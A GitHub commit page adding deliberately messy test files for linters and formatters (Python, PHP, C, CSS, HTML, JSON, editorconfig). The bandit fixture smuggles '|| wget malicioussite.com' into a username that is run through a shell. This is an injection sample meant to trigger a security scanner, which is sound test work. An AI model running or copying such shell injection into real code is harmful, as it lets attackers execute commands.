Skip to content

Commit af39f0e

Browse files
author
Simon Siegert
authored
Add test files for all modules
1 parent 2cfd433 commit af39f0e

File tree

14 files changed

+4822
-0
lines changed

14 files changed

+4822
-0
lines changed

editorconfig/.editorconfig

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
root = true
2+
3+
[*]
4+
indent_sytle = space
5+
# Here is also a typo: sytle
6+
indent_size = 2
7+
end_of_line = lf
8+
carset = utf-8
9+
trim_trailing_whitespace = true
10+
insert_final_newline = true
File renamed without changes.

fix-trailing-newline/dirty.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
I have no trailing newline

fix-with-autopep8/dirty.py

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
def example1():
2+
####This is a long comment. This should be wrapped to fit within 72 characters.
3+
some_tuple=( 1,2, 3, 'a' );
4+
return ( some_tuple)
5+
6+
7+
def printSquare(b):
8+
print(b* b)
9+
10+
11+
def bfs(self, s):
12+
queue = [s]
13+
while len(queue) != 0:
14+
x = queue.pop(0)
15+
print('This line begins with a tab')
16+
self.visited[x] = 1
17+
for i in range(0, self.nodes):
18+
if self.graph[x][i] ==1 and self.visited[i] == 0:
19+
queue.append(i)
20+
self.visited[i]=1
21+
22+

fix-with-jsonlint/dirty.json

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
{ "key": "value " ,
2+
"another key" :20}

fix-with-php-cs-fixer/dirty.php

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
<?php if (!empty($_GET['action'])) {
2+
3+
//look at what action was performed
4+
if ($_GET['action'] == 'add') {
5+
arr = array('');
6+
$count = 0;
7+
$sum = 0;
8+
;
9+
foreach ($arr as $value) {
10+
if ($_POST[$value] != 'none'){
11+
12+
$count = $count + 1;
13+
// this line is indented with a tab
14+
$sum = $sum + sqlEscape($_POST[$value]); }
15+
else if (True){
16+
$var = 3;
17+
} else {
18+
}
19+
}
20+
}
21+
}

fix-with-stylefmt/defect.css

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
body {
2+
background-color: darkgrey;
3+
color: black;
4+
font-size: 1.1em;
5+
font-family: "Arial";
6+
7+
}
8+
h1 {
9+
color:
10+
black;
11+
}
12+
#intro
13+
{
14+
font-size: 1.3em;
15+
}

fix-with-tidy/dirty.html

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
2+
<html>
3+
<head>
4+
<meta name="generator" content=
5+
"meta">
6+
<title></title>
7+
</head>
8+
<body></body>
9+
</html>

fix-with-uncrustify/defect.c

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
2+
#include <stdio.h>
3+
#include <stdlib.h>
4+
5+
6+
int main(){
7+
8+
int* ARRAY=NULL;
9+
int ContinueFilling=1; //This is to know if we should continue filling our array
10+
int ARRAY_LENGTH=0,isSorted =0,i,TEMPORARY_ELEMENT;
11+
12+
//This code part is for filling our array
13+
while(ContinueFilling){
14+
printf("Enter the value number %d \n", ARRAY_LENGTH+1);
15+
ARRAY=(int *)realloc(ARRAY,sizeof(int)*(ARRAY_LENGTH));
16+
scanf("%d",&ARRAY[ARRAY_LENGTH]);
17+
ARRAY_LENGTH+=1 ;
18+
printf("would you enter an other value (1:Continue/0:Sort the actual array)?\n");
19+
scanf("%d" ,&ContinueFilling);
20+
}
21+
22+
//Then we sort it using Bubble Sort..
23+
24+
while(! isSorted){ //While our array's not sorted
25+
isSorted=1; //we suppose that it's sorted
26+
for(i=0;i< ARRAY_LENGTH-1;i++) { //then for each element of the array
27+
if(ARRAY[i]>ARRAY[i+1]){ // if the two elements aren't sorted
28+
isSorted=0; //it means that the array is not sorted
29+
TEMPORARY_ELEMENT=ARRAY[i]; //and we switch these elements using TEMPORARY_ELEMENT
30+
ARRAY[i]=ARRAY[i+1];
31+
ARRAY[i+1]=TEMPORARY_ELEMENT;
32+
}
33+
}
34+
}
35+
//And we display it
36+
for(i=0;i<ARRAY_LENGTH;i++){
37+
printf("%d, ",ARRAY[i]);
38+
}
39+
40+
return 0;
41+
}

warn-bandit/defect.py

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
import os
2+
import subprocess
3+
4+
username = 'testUser || wget malicioussite.com'
5+
def execute(arg):
6+
return subprocess.Popen(arg, shell=True)
7+
8+
result = str(execute('ls -lsa ' + username))
9+
10+
11+
assert(len(result))

0 commit comments

Comments
 (0)